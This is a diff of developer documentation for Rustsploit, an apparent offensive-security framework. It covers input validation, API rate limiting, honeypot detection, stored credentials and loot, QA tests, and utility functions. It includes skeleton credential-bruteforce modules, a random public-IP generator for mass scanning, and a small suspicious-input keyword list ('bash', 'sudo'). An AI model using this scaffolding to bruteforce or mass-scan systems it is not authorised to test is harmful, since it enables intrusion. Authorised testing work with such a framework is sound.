| `shell.rs` | `MAX_URL_LENGTH` | 2048 | Maximum URL length |
|
||||
| `shell.rs` | `MAX_PATH_LENGTH` | 4096 | Maximum file path length |
|
||||
| `utils.rs` | `MAX_FILE_SIZE` | 10 MB | Maximum file size to read |
|
||||
| `config.rs` | `MAX_HOSTNAME_LENGTH` | 253 | DNS hostname limit |
|
||||
| `api.rs` | `MAX_REQUEST_BODY_SIZE` | 1 MB | API request body limit |
|
||||
| `api.rs` | `MAX_TRACKED_IPS` | 100,000 | IP tracker limit |
|
||||
|
||||
---
|
||||
|
||||
## Security Patterns
|
||||
|
||||
### 1. Input Length Validation
|
||||
|
||||
```rust
|
||||
if input.len() > MAX_INPUT_LENGTH {
|
||||
return Err(anyhow!("Input too long (max {} characters)", MAX_INPUT_LENGTH));
|
||||
}
|
||||
```
|
||||
|
||||
### 2. Input Sanitization
|
||||
|
||||
The `sanitize_string_input()` function performs multiple layers of cleaning:
|
||||
|
||||
1. **Null byte removal** -- inputs containing `\0` are rejected outright
|
||||
2. **Control character filtering** -- all control characters (except `\t`) are stripped from the input
|
||||
3. **Length enforcement** -- inputs exceeding `MAX_COMMAND_LENGTH` are rejected
|
||||
|
||||
```rust
|
||||
// Reject null bytes, then filter control characters (except tab)
|
||||
let sanitized: String = input.chars()
|
||||
.filter(|c| !c.is_control() || *c == '\t')
|
||||
.collect();
|
||||
```
|
||||
|
||||
For command-specific validation (`validate_command_input`), null bytes are stripped and length is enforced against `MAX_COMMAND_LENGTH`.
|
||||
|
||||
If suspicious patterns (`bash`, `sudo`, `../`) are detected, a warning is printed but the string is still returned unmodified:
|
||||
|
||||
```
|
||||
[!] Input contains shell/path patterns. Treated as literal text string.
|
||||
```
|
||||
|
||||
### 3. Path Traversal Prevention
|
||||
|
||||
```rust
|
||||
if input.contains("..") || input.contains("//") {
|
||||
return Err(anyhow!("Path traversal detected"));
|
||||
}
|
||||
```
|
||||
|
||||
### 4. Target / Hostname Validation
|
||||
|
||||
Always use the framework's `normalize_target` function:
|
||||
|
||||
```rust
|
||||
use crate::utils::normalize_target;
|
||||
|
||||
let normalized = normalize_target(raw_target)?;
|
||||
// Handles IPv4, IPv6, hostnames, URLs, CIDR with full validation
|
||||
```
|
||||
|
||||
For custom character validation:
|
||||
```rust
|
||||
use regex::Regex;
|
||||
let valid_chars = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap();
|
||||
if !valid_chars.is_match(target) {
|
||||
return Err(anyhow!("Invalid characters in target"));
|
||||
}
|
||||
```
|
||||
|
||||
### 5. Overflow Protection
|
||||
|
||||
```rust
|
||||
// Use saturating_add to prevent integer overflow
|
||||
counter = counter.saturating_add(1);
|
||||
```
|
||||
|
||||
### 6. Prompt Attempt Limiting
|
||||
|
||||
```rust
|
||||
const MAX_ATTEMPTS: u8 = 10;
|
||||
let mut attempts = 0u8;
|
||||
loop {
|
||||
attempts += 1;
|
||||
if attempts > MAX_ATTEMPTS {
|
||||
println!("Too many invalid attempts. Using default.");
|
||||
return Ok(default);
|
||||
}
|
||||
// prompt logic
|
||||
}
|
||||
```
|
||||
|
||||
### 7. File Operations
|
||||
|
||||
When reading files:
|
||||
1. Validate path does not contain `..`
|
||||
2. Use `canonicalize()` to resolve the real path
|
||||
3. Check file size before reading (ref: `MAX_FILE_SIZE`)
|
||||
4. Skip symlinks for security
|
||||
|
||||
---
|
||||
|
||||
## API Security
|
||||
|
||||
The API server (`api.rs`) implements:
|
||||
|
||||
- **`RequestBodyLimitLayer`** — prevents DoS via oversized payloads (1 MB max)
|
||||
- **Rate limiting** — 3 failed auth attempts → 30 s block per IP
|
||||
- **Auto-cleanup** — old entries purged at 100,000 entries
|
||||
- **IP tracking + key rotation** — suspicious activity triggers auto-rotation in hardening mode
|
||||
- **Secure defaults** — by default, considers `127.0.0.1` as the intended private bind
|
||||
|
||||
---
|
||||
|
||||
## Honeypot Detection
|
||||
|
||||
The framework automatically runs `basic_honeypot_check` before any module execution when a target is set.
|
||||
|
||||
- Scans **200 common ports** with a 250 ms timeout each
|
||||
- If **11 or more** ports respond, warns that the target is likely a honeypot
|
||||
- Runs automatically in the shell's `run` and `run_all` commands
|
||||
- Can be called manually from module code:
|
||||
|
||||
```rust
|
||||
use crate::utils::basic_honeypot_check;
|
||||
basic_honeypot_check(&ip).await;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## IP Exclusion Ranges (`EXCLUDED_RANGES`)
|
||||
|
||||
Standard across mass-scan capable modules (e.g., `camxploit`, `telnet_hose`, `telnet_bruteforce`, exploit modules with 0.0.0.0/0 support):
|
||||
|
||||
| CIDR | Category |
|
||||
|------|----------|
|
||||
| `10.0.0.0/8` | Private |
|
||||
| `127.0.0.0/8` | Loopback |
|
||||
| `172.16.0.0/12` | Private |
|
||||
| `192.168.0.0/16` | Private |
|
||||
| `224.0.0.0/4` | Multicast |
|
||||
| `240.0.0.0/4` | Reserved |
|
||||
| `0.0.0.0/8` | This network |
|
||||
| `100.64.0.0/10` | Carrier-grade NAT |
|
||||
| `169.254.0.0/16` | Link-local |
|
||||
| `198.18.0.0/15` | Benchmarking |
|
||||
| `198.51.100.0/24` | Documentation |
|
||||
| `203.0.113.0/24` | Documentation |
|
||||
| `255.255.255.255/32` | Broadcast |
|
||||
| Public DNS | 1.1.1.1, 8.8.8.8, etc. |
|
||||
|
||||
Uses the `ipnetwork` crate for proper CIDR matching.
|
||||
|
||||
---
|
||||
|
||||
## Persistent Storage Security
|
||||
|
||||
All persistent data uses atomic write-to-temp-then-rename to prevent corruption:
|
||||
|
||||
| File | Purpose | Sensitivity |
|
||||
|------|---------|-------------|
|
||||
| `~/.rustsploit/global_options.json` | Global options (setg) | Low — user preferences |
|
||||
| `~/.rustsploit/creds.json` | Discovered credentials | **High — contains passwords/hashes** |
|
||||
| `~/.rustsploit/workspaces/<name>.json` | Hosts, services, notes | Medium — engagement data |
|
||||
| `~/.rustsploit/loot_index.json` | Loot metadata | Medium |
|
||||
| `~/.rustsploit/loot/` | Loot files | **High — may contain sensitive data** |
|
||||
| `~/.rustsploit/results/` | Module output files | Medium |
|
||||
| `~/.rustsploit/history.txt` | Shell command history | Medium |
|
||||
|
||||
**Important:** The `creds.json` and `loot/` files may contain sensitive data. Protect `~/.rustsploit/` with appropriate file permissions (e.g., `chmod 700`).
|
||||
@@ -0,0 +1,168 @@
|
||||
# Testing & QA
|
||||
|
||||
Guidelines for verifying that new modules and framework changes are correct.
|
||||
|
||||
---
|
||||
|
||||
## Static Checks
|
||||
|
||||
Run before every commit or PR:
|
||||
|
||||
```bash
|
||||
# Format code
|
||||
cargo fmt
|
||||
|
||||
# Lint (use where available)
|
||||
cargo clippy
|
||||
|
||||
# Compile check (fast, no linking)
|
||||
cargo check
|
||||
```
|
||||
|
||||
A clean `cargo check` with **0 errors and 0 warnings** is required. The current codebase (all 181 modules) passes this check cleanly.
|
||||
|
||||
---
|
||||
|
||||
## Build Verification
|
||||
|
||||
```bash
|
||||
cargo build
|
||||
```
|
||||
|
||||
`build.rs` regenerates the dispatchers (`exploit_dispatch.rs`, `scanner_dispatch.rs`, `creds_dispatch.rs`, `plugins_dispatch.rs`, `module_registry.rs`) into `OUT_DIR` during compilation. All 181 modules (137 exploits, 24 scanners, 19 creds, 1 plugin) are auto-discovered and dispatched by `build.rs`. If a new module fails to register, ensure `pub mod your_module;` is present in the sibling `mod.rs`.
|
||||
|
||||
---
|
||||
|
||||
## Runtime Smoke Tests
|
||||
|
||||
### Shell
|
||||
```bash
|
||||
cargo run
|
||||
# Inside the shell:
|
||||
modules # Verify new module appears in list
|
||||
find <keyword> # Verify keyword search works
|
||||
u scanners/sample_scanner
|
||||
set target 127.0.0.1
|
||||
go # Runs the sample scanner against localhost
|
||||
```
|
||||
|
||||
### CLI
|
||||
```bash
|
||||
cargo run -- --command scanner --module sample_scanner --target 127.0.0.1
|
||||
cargo run -- --list-modules # Verify your module is listed
|
||||
```
|
||||
|
||||
### API
|
||||
```bash
|
||||
# Start the server
|
||||
cargo run -- --api
|
||||
|
||||
# Check your module appears
|
||||
curl -H "Authorization: Bearer test-key" http://localhost:8080/api/modules | grep your_module
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Unit Tests
|
||||
|
||||
Run all unit tests:
|
||||
```bash
|
||||
cargo test
|
||||
```
|
||||
|
||||
Module-level tests can be added inline:
|
||||
|
||||
```rust
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn test_parse_response() {
|
||||
let output = parse_response(b"some payload");
|
||||
assert!(output.is_some());
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
For async tests:
|
||||
```rust
|
||||
#[tokio::test]
|
||||
async fn test_async_behavior() {
|
||||
// ...
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Wordlist Validation
|
||||
|
||||
Before adding a module that depends on wordlists:
|
||||
1. Confirm the file exists under `lists/`
|
||||
2. Reference the path in docstrings or `lists/readme.md`
|
||||
3. Validate it is non-empty at runtime and handle the empty case gracefully
|
||||
|
||||
---
|
||||
|
||||
## Framework Feature Smoke Tests
|
||||
|
||||
After modifying framework features, verify these work:
|
||||
|
||||
```bash
|
||||
# Shell smoke test
|
||||
cargo run
|
||||
# Inside shell:
|
||||
info exploits/sample_exploit # Should display module metadata
|
||||
setg port 8080 # Set global option
|
||||
show options # Should show port=8080
|
||||
unsetg port # Remove it
|
||||
creds # Should show empty cred store
|
||||
hosts # Should show empty host list
|
||||
workspace # Should show "default" workspace
|
||||
loot # Should show empty loot
|
||||
jobs # Should show no jobs
|
||||
spool /tmp/test.log # Start console logging
|
||||
spool off # Stop logging
|
||||
export json /tmp/test.json # Should create JSON file
|
||||
```
|
||||
|
||||
```bash
|
||||
# API smoke test
|
||||
cargo run -- --api
|
||||
|
||||
# New endpoints
|
||||
curl -H "Authorization: Bearer test-key" http://localhost:8080/api/options
|
||||
curl -H "Authorization: Bearer test-key" http://localhost:8080/api/creds
|
||||
curl -H "Authorization: Bearer test-key" http://localhost:8080/api/hosts
|
||||
curl -H "Authorization: Bearer test-key" http://localhost:8080/api/services
|
||||
curl -H "Authorization: Bearer test-key" http://localhost:8080/api/workspace
|
||||
curl -H "Authorization: Bearer test-key" http://localhost:8080/api/loot
|
||||
curl -H "Authorization: Bearer test-key" http://localhost:8080/api/jobs
|
||||
curl -H "Authorization: Bearer test-key" http://localhost:8080/api/export?format=json
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Regression Notes
|
||||
|
||||
| Area | What to verify |
|
||||
|------|----------------|
|
||||
| New cred module | Correct concurrency model, DNS resolved once (not per attempt) |
|
||||
| New exploit | Response validated before declaring success, artifacts written to CWD |
|
||||
| New scanner | Outputs parseable results, status codes filtered correctly |
|
||||
| Mass-scan module | `EXCLUDED_RANGES` applied, no private/bogon IPs targeted |
|
||||
| API change | `cargo check` clean, endpoint documented in [API Server](API-Server.md) |
|
||||
| Utils change | All prompt helpers still compile, no dead code warnings |
|
||||
| Module with `info()` | Build generates info_dispatch entry, `info` command displays metadata |
|
||||
| Module with `check()` | Build generates check_dispatch entry, `check` command runs verification |
|
||||
| Global options change | JSON file updated atomically, `cfg_prompt_*` respects priority chain |
|
||||
| Workspace change | JSON saved on modification, workspace switch preserves data |
|
||||
| Cred store change | JSON persistence works, search returns correct results |
|
||||
|
||||
---
|
||||
|
||||
## Known Disabled / Stubbed Code
|
||||
|
||||
| Module | Status | Reason |
|
||||
|--------|--------|--------|
|
||||
| `scanners/dns_recursion` | ✅ Fixed | Rewritten for hickory-client v0.25 (`AsyncClient` → `Client`, builder pattern + `TokioRuntimeProvider`) |
|
||||
@@ -0,0 +1,628 @@
|
||||
# Utilities & Helpers
|
||||
|
||||
Rustsploit provides several utility modules that every module developer should know:
|
||||
|
||||
| Module | Import Path | Purpose |
|
||||
|--------|-------------|---------|
|
||||
| **Core Utils** | `crate::utils` | Target normalization, file loading, config-aware prompts, input validation |
|
||||
| **Creds Utils** | `crate::modules::creds::utils` | Bruteforce statistics, subnet helpers, IP exclusion, scan state tracking |
|
||||
| **Config** | `crate::config` | Global target state, module config, API prompt keys, results directory |
|
||||
| **Global Options** | `crate::global_options` | Persistent `setg` options — checked by `cfg_prompt_*` after custom_prompts |
|
||||
| **Cred Store** | `crate::cred_store` | Store/query discovered credentials. Call `store_credential()` from modules |
|
||||
| **Workspace** | `crate::workspace` | Track hosts/services. Call `track_host()` / `track_service()` from modules |
|
||||
| **Loot** | `crate::loot` | Store collected evidence. Call `store_loot()` from modules |
|
||||
| **Module Info** | `crate::module_info` | `ModuleInfo`, `ModuleRank`, `CheckResult` types for `info()`/`check()` |
|
||||
| **Spool** | `crate::spool` | Console output logging. Call `spool::sprintln()` for spool-aware output |
|
||||
| **Jobs** | `crate::jobs` | Background job management via `JOB_MANAGER` |
|
||||
| **Export** | `crate::export` | Export engagement data to JSON/CSV/summary |
|
||||
|
||||
---
|
||||
|
||||
## `crate::utils` — Core Utilities
|
||||
|
||||
### `load_lines(path) → Result<Vec<String>>`
|
||||
|
||||
Reads a file line-by-line, trims whitespace, and drops empty lines. The standard way to load wordlists, username files, or any line-delimited input.
|
||||
|
||||
```rust
|
||||
use crate::utils::load_lines;
|
||||
|
||||
let passwords = load_lines("passwords.txt")?;
|
||||
for pw in &passwords {
|
||||
// each entry is trimmed, non-empty
|
||||
}
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `path` | `impl AsRef<Path>` | Path to the file to read |
|
||||
|
||||
**Returns:** `Vec<String>` of non-empty, trimmed lines. Errors if the file cannot be opened.
|
||||
|
||||
---
|
||||
|
||||
### `normalize_target(raw) → Result<String>`
|
||||
|
||||
Comprehensive target normalization and validation. This is the **single entry point** for converting any user-supplied target into a consistent format.
|
||||
|
||||
```rust
|
||||
use crate::utils::normalize_target;
|
||||
|
||||
let target = normalize_target(user_input)?;
|
||||
// target is now in one of:
|
||||
// "192.168.1.1" (IPv4)
|
||||
// "192.168.1.1:8080" (IPv4 + port)
|
||||
// "[::1]" (IPv6)
|
||||
// "[::1]:8080" (IPv6 + port)
|
||||
// "example.com" (hostname)
|
||||
// "192.168.1.0/24" (CIDR)
|
||||
```
|
||||
|
||||
| Input Format | Example |
|
||||
|--------------|---------|
|
||||
| IPv4 | `192.168.1.1` |
|
||||
| IPv4 + port | `192.168.1.1:8080` |
|
||||
| IPv6 | `::1`, `2001:db8::1` |
|
||||
| IPv6 + port | `[::1]:8080` |
|
||||
| Hostname | `example.com`, `example.com:443` |
|
||||
| URL | `http://example.com:8080` → extracts `example.com:8080` |
|
||||
| CIDR | `192.168.1.0/24`, `2001:db8::/32` |
|
||||
|
||||
**Security:** Validates against DoS-length abuse (max 2048 chars), control characters, and path traversal patterns (`..`, `//`).
|
||||
|
||||
---
|
||||
|
||||
### Config-Aware Prompt Wrappers (`cfg_prompt_*`)
|
||||
|
||||
These are the **recommended prompts for module authors**. They check `ModuleConfig.custom_prompts` first (populated by the API), falling back to interactive stdin when running in shell mode. This makes your module work seamlessly in both shell and API modes.
|
||||
|
||||
#### `cfg_prompt_required(key, msg) → Result<String>`
|
||||
|
||||
Required string prompt with no default. In API mode, errors if the key is missing from `custom_prompts`. Priority: custom_prompts > run_context target (for "target" key) > global_options > interactive stdin.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_required;
|
||||
|
||||
let community = cfg_prompt_required("community", "SNMP community string").await?;
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `key` | `&str` | Lookup key in `ModuleConfig.custom_prompts` |
|
||||
| `msg` | `&str` | Prompt message shown to user in shell mode |
|
||||
|
||||
**Errors** in API mode if key is missing (required field).
|
||||
|
||||
---
|
||||
|
||||
#### `cfg_prompt_yes_no(key, msg, default_yes) → Result<bool>`
|
||||
|
||||
Boolean prompt. Accepts `y/yes/true/1` and `n/no/false/0`.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_yes_no;
|
||||
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Enable verbose output?", false)?;
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `key` | `&str` | Lookup key in `ModuleConfig.custom_prompts` |
|
||||
| `msg` | `&str` | Prompt message shown to user in shell mode |
|
||||
| `default_yes` | `bool` | Default when input is empty or key absent in API mode |
|
||||
|
||||
---
|
||||
|
||||
#### `cfg_prompt_existing_file(key, msg) → Result<String>`
|
||||
|
||||
Prompts for a file path. Validates the file exists, rejects path traversal (`..`), symlinks, and control characters.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_existing_file;
|
||||
|
||||
let wordlist = cfg_prompt_existing_file("password_wordlist", "Password wordlist file")?;
|
||||
let lines = load_lines(&wordlist)?;
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `key` | `&str` | Prompt key for API mode |
|
||||
| `msg` | `&str` | Interactive prompt message |
|
||||
|
||||
**Errors** in API mode if key is missing (required field).
|
||||
|
||||
---
|
||||
|
||||
#### `cfg_prompt_int_range(key, msg, default, min, max) → Result<i64>`
|
||||
|
||||
Integer prompt with range validation.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_int_range;
|
||||
|
||||
let threads = cfg_prompt_int_range("threads", "Number of threads", 10, 1, 100)?;
|
||||
let delay = cfg_prompt_int_range("delay_ms", "Delay between attempts (ms)", 50, 0, 60000)?;
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `key` | `&str` | Prompt key |
|
||||
| `msg` | `&str` | Interactive prompt message |
|
||||
| `default` | `i64` | Default value |
|
||||
| `min` | `i64` | Minimum allowed value |
|
||||
| `max` | `i64` | Maximum allowed value |
|
||||
|
||||
---
|
||||
|
||||
#### `cfg_prompt_default(key, msg, default) → Result<String>`
|
||||
|
||||
Generic string prompt with a default value.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_default;
|
||||
|
||||
let method = cfg_prompt_default("http_method", "HTTP method", "GET")?;
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `key` | `&str` | Prompt key |
|
||||
| `msg` | `&str` | Interactive prompt message |
|
||||
| `default` | `&str` | Default value when empty |
|
||||
|
||||
---
|
||||
|
||||
#### `cfg_prompt_port(key, msg, default) → Result<u16>`
|
||||
|
||||
Port number prompt. Validates range 1–65535.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_port;
|
||||
|
||||
let port = cfg_prompt_port("port", "Target port", 22)?;
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `key` | `&str` | Prompt key |
|
||||
| `msg` | `&str` | Interactive prompt message |
|
||||
| `default` | `u16` | Default port number |
|
||||
|
||||
---
|
||||
|
||||
#### `cfg_prompt_output_file(key, msg, default) → Result<String>`
|
||||
|
||||
Output filename prompt. **Forces basename only** — strips any directory path to prevent traversal. Rejects hidden files (starting with `.`) and filenames over 255 chars.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_output_file;
|
||||
|
||||
let output = cfg_prompt_output_file("output_file", "Output file", "results.txt")?;
|
||||
// output is guaranteed to be a safe basename like "results.txt"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
#### `cfg_prompt_wordlist(key, msg) → Result<String>`
|
||||
|
||||
Wordlist file prompt. Validates the file exists, rejects path traversal and unsafe paths (same security as `cfg_prompt_existing_file`). Priority: custom_prompts > global_options > interactive stdin.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_wordlist;
|
||||
|
||||
let wordlist = cfg_prompt_wordlist("wordlist", "Path to wordlist file").await?;
|
||||
let lines = load_lines(&wordlist)?;
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `key` | `&str` | Prompt key for API mode |
|
||||
| `msg` | `&str` | Interactive prompt message |
|
||||
|
||||
**Errors** in API mode if key is missing (required field). Also errors if the file does not exist.
|
||||
|
||||
---
|
||||
|
||||
### Complete Module Integration Example
|
||||
|
||||
Here's a typical module using all the core utils together:
|
||||
|
||||
```rust
|
||||
use crate::utils::{
|
||||
load_lines, normalize_target,
|
||||
cfg_prompt_required, cfg_prompt_yes_no, cfg_prompt_existing_file,
|
||||
cfg_prompt_int_range, cfg_prompt_default, cfg_prompt_port,
|
||||
cfg_prompt_output_file, cfg_prompt_wordlist,
|
||||
};
|
||||
|
||||
pub async fn run(target: &str) -> anyhow::Result<()> {
|
||||
let target = normalize_target(target)?;
|
||||
|
||||
// Gather config — works in both shell and API mode
|
||||
let port = cfg_prompt_port("port", "Target port", 22)?;
|
||||
let user_file = cfg_prompt_existing_file("user_wordlist", "Username wordlist")?;
|
||||
let pass_file = cfg_prompt_existing_file("pass_wordlist", "Password wordlist")?;
|
||||
let threads = cfg_prompt_int_range("threads", "Threads", 10, 1, 100)? as usize;
|
||||
let delay = cfg_prompt_int_range("delay_ms", "Delay (ms)", 50, 0, 60000)? as u64;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false)?;
|
||||
let output = cfg_prompt_output_file("output_file", "Output file", "results.txt")?;
|
||||
|
||||
// Load wordlists
|
||||
let users = load_lines(&user_file)?;
|
||||
let passwords = load_lines(&pass_file)?;
|
||||
|
||||
println!("[*] Targeting {} with {} users × {} passwords", target, users.len(), passwords.len());
|
||||
// ... bruteforce logic ...
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## `crate::modules::creds::utils` — Credential Module Utilities
|
||||
|
||||
Import path:
|
||||
|
||||
```rust
|
||||
use crate::modules::creds::utils::{
|
||||
BruteforceStats, is_subnet_target, parse_subnet, subnet_host_count,
|
||||
generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions,
|
||||
};
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `BruteforceStats`
|
||||
|
||||
Thread-safe statistics tracker for bruteforce modules. Uses atomics for counters and a `Mutex<HashMap>` for error categorization. Create one per module run and share via `Arc`.
|
||||
|
||||
```rust
|
||||
use std::sync::Arc;
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
|
||||
// In each worker task:
|
||||
let stats = Arc::clone(&stats);
|
||||
tokio::spawn(async move {
|
||||
match attempt_login(&host, &user, &pass).await {
|
||||
Ok(true) => stats.record_success(),
|
||||
Ok(false) => stats.record_failure(),
|
||||
Err(e) => stats.record_error(format!("{}", e)).await,
|
||||
}
|
||||
|
||||
// Show live progress (prints inline with \r)
|
||||
stats.print_progress();
|
||||
});
|
||||
|
||||
// After all tasks complete:
|
||||
stats.print_final().await;
|
||||
```
|
||||
|
||||
#### Methods
|
||||
|
||||
| Method | Async | Description |
|
||||
|--------|-------|-------------|
|
||||
| `BruteforceStats::new()` | No | Create a new stats tracker (starts the timer) |
|
||||
| `.record_success()` | No | Increment total + successful counters |
|
||||
| `.record_failure()` | No | Increment total + failed counters |
|
||||
| `.record_error(msg)` | **Yes** | Increment total + error counters, log error message |
|
||||
| `.record_retry()` | No | Increment retry counter |
|
||||
| `.print_progress()` | No | Print inline progress bar (`\r` overwrite) |
|
||||
| `.print_final()` | **Yes** | Print full statistics summary with top 5 errors |
|
||||
|
||||
---
|
||||
|
||||
### `is_subnet_target(target) → bool`
|
||||
|
||||
Check if a target string is CIDR notation (e.g., `192.168.8.0/21`). Use this to branch between single-host and subnet-scan logic.
|
||||
|
||||
```rust
|
||||
use crate::modules::creds::utils::is_subnet_target;
|
||||
|
||||
if is_subnet_target(&target) {
|
||||
// Iterate subnet
|
||||
} else {
|
||||
// Single host
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `parse_subnet(target) → Result<IpNetwork>`
|
||||
|
||||
Parse a CIDR string into an `ipnetwork::IpNetwork`. **Does NOT allocate a Vec** — callers iterate lazily with `.iter()`, making it safe for any prefix size (`/0` through `/32`).
|
||||
|
||||
```rust
|
||||
use crate::modules::creds::utils::parse_subnet;
|
||||
|
||||
let network = parse_subnet("192.168.1.0/24")?;
|
||||
for ip in network.iter() {
|
||||
println!("Scanning {}", ip);
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `subnet_host_count(net) → u128`
|
||||
|
||||
Returns the number of host IPs in a network. Useful for progress display and ETA calculations.
|
||||
|
||||
```rust
|
||||
use crate::modules::creds::utils::{parse_subnet, subnet_host_count};
|
||||
|
||||
let net = parse_subnet("10.0.0.0/8")?;
|
||||
println!("Scanning {} hosts", subnet_host_count(&net));
|
||||
// → "Scanning 16777216 hosts"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `generate_random_public_ip(exclusions) → IpAddr`
|
||||
|
||||
Generates a random IPv4 address that is **not** in any excluded range. Automatically skips `10.x.x.x`, `127.x.x.x`, and `0.x.x.x` in addition to the provided exclusion list. Used by mass-scanning modules (Camxploit, etc.).
|
||||
|
||||
```rust
|
||||
use crate::modules::creds::utils::{generate_random_public_ip, parse_exclusions};
|
||||
|
||||
let exclusions = parse_exclusions(&[
|
||||
"10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", // Private
|
||||
"100.64.0.0/10", // CGNAT
|
||||
"224.0.0.0/4", // Multicast
|
||||
]);
|
||||
|
||||
let ip = generate_random_public_ip(&exclusions);
|
||||
println!("Random target: {}", ip);
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `parse_exclusions(cidrs) → Vec<IpNetwork>`
|
||||
|
||||
Parses an array of CIDR strings into `IpNetwork` objects for use with `generate_random_public_ip`. Invalid CIDRs are silently skipped.
|
||||
|
||||
```rust
|
||||
use crate::modules::creds::utils::parse_exclusions;
|
||||
|
||||
let excluded = parse_exclusions(&["10.0.0.0/8", "192.168.0.0/16", "not-valid"]);
|
||||
// excluded.len() == 2 (invalid entry silently dropped)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `is_ip_checked(ip, state_file) → bool` / `mark_ip_checked(ip, state_file)`
|
||||
|
||||
Persistent scan-state tracking. Prevents re-scanning the same IP across multiple runs by writing `checked: <ip>` lines to a state file.
|
||||
|
||||
```rust
|
||||
use crate::modules::creds::utils::{is_ip_checked, mark_ip_checked};
|
||||
|
||||
let state_file = "mqtt_cidr_results.txt";
|
||||
|
||||
for ip in network.iter() {
|
||||
if is_ip_checked(&ip, state_file).await {
|
||||
continue; // Already scanned
|
||||
}
|
||||
|
||||
// ... scan the IP ...
|
||||
|
||||
mark_ip_checked(&ip, state_file).await;
|
||||
}
|
||||
```
|
||||
|
||||
| Function | Async | Description |
|
||||
|----------|-------|-------------|
|
||||
| `is_ip_checked(ip, state_file)` | **Yes** | Returns `true` if IP was previously marked. Creates the state file if missing. |
|
||||
| `mark_ip_checked(ip, state_file)` | **Yes** | Appends `checked: <ip>` to the state file. |
|
||||
|
||||
> **Note:** Both functions accept any type implementing `ToString` for the IP parameter.
|
||||
|
||||
---
|
||||
|
||||
## Complete Credential Module Example
|
||||
|
||||
Putting both utility modules together in a real bruteforce module:
|
||||
|
||||
```rust
|
||||
use std::sync::Arc;
|
||||
use crate::utils::{
|
||||
load_lines, normalize_target,
|
||||
cfg_prompt_port, cfg_prompt_existing_file,
|
||||
cfg_prompt_int_range, cfg_prompt_yes_no, cfg_prompt_output_file,
|
||||
};
|
||||
use crate::modules::creds::utils::{
|
||||
BruteforceStats, is_subnet_target, parse_subnet, subnet_host_count,
|
||||
generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions,
|
||||
};
|
||||
|
||||
pub async fn run(target: &str) -> anyhow::Result<()> {
|
||||
let target = normalize_target(target)?;
|
||||
let port = cfg_prompt_port("port", "Target port", 1883)?;
|
||||
let user_file = cfg_prompt_existing_file("user_wordlist", "Username wordlist")?;
|
||||
let pass_file = cfg_prompt_existing_file("pass_wordlist", "Password wordlist")?;
|
||||
let threads = cfg_prompt_int_range("threads", "Threads", 10, 1, 200)? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose?", false)?;
|
||||
let output = cfg_prompt_output_file("output_file", "Output file", "results.txt")?;
|
||||
|
||||
let users = load_lines(&user_file)?;
|
||||
let passwords = load_lines(&pass_file)?;
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
|
||||
if is_subnet_target(&target) {
|
||||
let network = parse_subnet(&target)?;
|
||||
println!("[*] Subnet scan: {} hosts", subnet_host_count(&network));
|
||||
for ip in network.iter() {
|
||||
if is_ip_checked(&ip, &output).await { continue; }
|
||||
// ... bruteforce ip ...
|
||||
mark_ip_checked(&ip, &output).await;
|
||||
}
|
||||
} else {
|
||||
// ... single host bruteforce ...
|
||||
}
|
||||
|
||||
stats.print_final().await;
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## `crate::config` — Framework Configuration
|
||||
|
||||
Import path:
|
||||
|
||||
```rust
|
||||
use crate::config::{
|
||||
GLOBAL_CONFIG, GlobalConfig, TargetConfig,
|
||||
ModuleConfig, get_module_config, set_module_config, clear_module_config,
|
||||
results_dir,
|
||||
};
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `GLOBAL_CONFIG` (static `GlobalConfig`)
|
||||
|
||||
Thread-safe singleton that holds the current target. Set by the shell (`set target`) or CLI (`--target`). Module code reads it but rarely needs to write to it.
|
||||
|
||||
```rust
|
||||
use crate::config::GLOBAL_CONFIG;
|
||||
|
||||
// Check if a target is set
|
||||
